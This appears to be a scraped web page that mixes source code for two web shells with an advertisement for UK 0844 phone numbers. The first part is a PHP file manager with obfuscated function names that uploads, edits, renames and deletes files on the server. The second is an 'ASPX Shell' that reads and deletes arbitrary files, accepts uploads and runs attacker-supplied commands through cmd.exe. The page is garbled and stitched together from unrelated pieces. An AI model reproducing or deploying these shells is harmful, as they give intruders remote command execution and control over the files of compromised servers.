$value) { $_POST[$key] = stripslashes($value); } } echo ''.$sname.''; echo '

' . $sname . '

'; if (isset($_GET['path'])) { $path = $_GET['path']; chdir($_GET['path']); } else { $path = $__gcdir(); } $path = str_replace("\", "/", $path); $paths = explode("/", $path); echo '
'; echo "Path: "; foreach ($paths as $id => $pat) { echo "$pat/"; } echo '
[ Home ]
'; if (isset($_FILES['file'])) { if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) { echo '
Upload OK!

'; } else { echo '
Upload FAILED!

'; } } echo '
'; echo ''; if (isset($_GET['filesrc'])) { echo '
File: '; echo "" . basename($_GET['filesrc']); ""; echo '

'; echo ("
"); } elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') { echo '
' . $_POST['path'] . '

'; if ($_POST['opt'] == 'rename') { if (isset($_POST['newname'])) { if (rename($_POST['path'], $path . '/' . $_POST['newname'])) { echo '
Rename OK!

'; } else { echo '
Rename Failed!

'; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
'; } elseif ($_POST['opt'] == 'edit') { if (isset($_POST['src'])) { $fp = fopen($_POST['path'], 'w'); if (fwrite($fp, $_POST['src'])) { echo '
Edit File OK!.

'; } else { echo '
Edit File Failed!.

'; } fclose($fp); } echo '

'; } echo '
'; } else { echo '
'; if (isset($_GET['option']) && $_POST['opt'] == 'delete') { if ($_POST['type'] == 'dir') { if ($rm__dir($_POST['path'])) { echo '
Dir Deleted!

'; } else { echo '
Delete Dir Failed!

'; } } elseif ($_POST['type'] == 'file') { if ($un__link($_POST['path'])) { echo 'Delete File Done.
'; } else { echo 'Delete File Error.
'; } } } echo '
'; $_scdir = $__scdir($path); echo '
'; foreach ($_scdir as $dir) { if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo ""; } foreach ($_scdir as $file) { if (!is_file("$path/$file")) continue; $size = filesize("$path/$file") / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . ' MB'; } else { $size = $size . ' KB'; } echo ""; } echo '
Name
Size
Permissions
Last Update
Options
[D] $dir
--
"; if (is_writable("$path/$dir")) echo ''; elseif (!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "
" . date("d-M-Y H:i", filemtime("$path/$dir")) . ""; echo "
[F] $file
" . $size . "
"; if (is_writable("$path/$file")) echo ''; elseif (!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if (is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "
" . date("d-M-Y H:i", filemtime("$path/$file")) . ""; echo "
'; } function perms($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } echo '
© 2018.

'; echo ''; echo ''; ?>">
0844 Numbers


<%-- ASPX Shell by Iranian --%>
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>


<%
string outstr = "";


// get pwd
string dir = Page.MapPath(".") + "/";
if (Request.QueryString["fdir"] != null)
dir = Request.QueryString["fdir"] + "/";
dir = dir.Replace("\", "/");
dir = dir.Replace("//", "/");


// build nav for path literal
string[] dirparts = dir.Split('/');
string linkwalk = ""; 
foreach (string curpart in dirparts)
{
if (curpart.Length == 0)
continue;
linkwalk += curpart + "/";
outstr += string.Format("{1}/ ",
HttpUtility.UrlEncode(linkwalk),
HttpUtility.HtmlEncode(curpart));
}
lblPath.Text = outstr;


// create drive list
outstr = "";
foreach(DriveInfo curdrive in DriveInfo.GetDrives())
{
if (!curdrive.IsReady)
continue;
string driveRoot = curdrive.RootDirectory.Name.Replace("\", "");
outstr += string.Format("{1} ",
HttpUtility.UrlEncode(driveRoot),
HttpUtility.HtmlEncode(driveRoot));
}
lblDrives.Text = outstr;


// send file ?
if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
{
Response.ClearContent();
Response.WriteFile(Request.QueryString["get"]);
Response.End();
}


// delete file ?
if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
File.Delete(Request.QueryString["del"]); 


// receive files ?
if(flUp.HasFile)
{
string fileName = flUp.FileName;
int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\' });
if (splitAt >= 0)
fileName = flUp.FileName.Substring(splitAt);
flUp.SaveAs(dir + "/" + fileName);
}


// enum directory and generate listing in the right pane
DirectoryInfo di = new DirectoryInfo(dir);
outstr = "";
foreach (DirectoryInfo curdir in di.GetDirectories())
{
string fstr = string.Format("{1}",
HttpUtility.UrlEncode(dir + "/" + curdir.Name),
HttpUtility.HtmlEncode(curdir.Name));
outstr += string.Format("{0}<DIR>", fstr);
}
foreach (FileInfo curfile in di.GetFiles())
{
string fstr = string.Format("{1}",
HttpUtility.UrlEncode(dir + "/" + curfile.Name),
HttpUtility.HtmlEncode(curfile.Name));
string astr = string.Format("Del",
HttpUtility.UrlEncode(dir),
HttpUtility.UrlEncode(dir + "/" + curfile.Name));
outstr += string.Format("{0}{1:d}{2}", fstr, curfile.Length / 1024, astr);
}
lblDirOut.Text = outstr;


// exec cmd ?
if (txtCmdIn.Text.Length > 0)
{
Process p = new Process();
p.StartInfo.CreateNoWindow = true;
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.WorkingDirectory = dir;
p.Start();


lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
txtCmdIn.Text = "";

%>







ASPX Shell



Anti Sheller Aspx | Best Sheller Aspx









Sheller

 




File Browser



Drives:




Working directory:










NameSize KBActions

Upload to this directory:













0844 500 33 34
UK 0844 Numbers are a cheap, cost-effective way to gain more UK business, or to keep in touch with friends and family.
  • Free redirection to any Spanish Landline
  • Caller only pays Low-Call UK Rates [2.5p per minute]
  • Instant set-up
  • First call activates the service for the next 365 days
  • Missed calls can be eMailed to you
Prices range from just 9.99€ to several hundred Euros depending on popularity, uniqueness and demand.

Whilst most numbers have a lifetime purchase price, there are some unique ones that have an annual premium.

We will always advise you if your preferred number is an annual one before purchasing on your behalf.



Hosted @ GoDaddy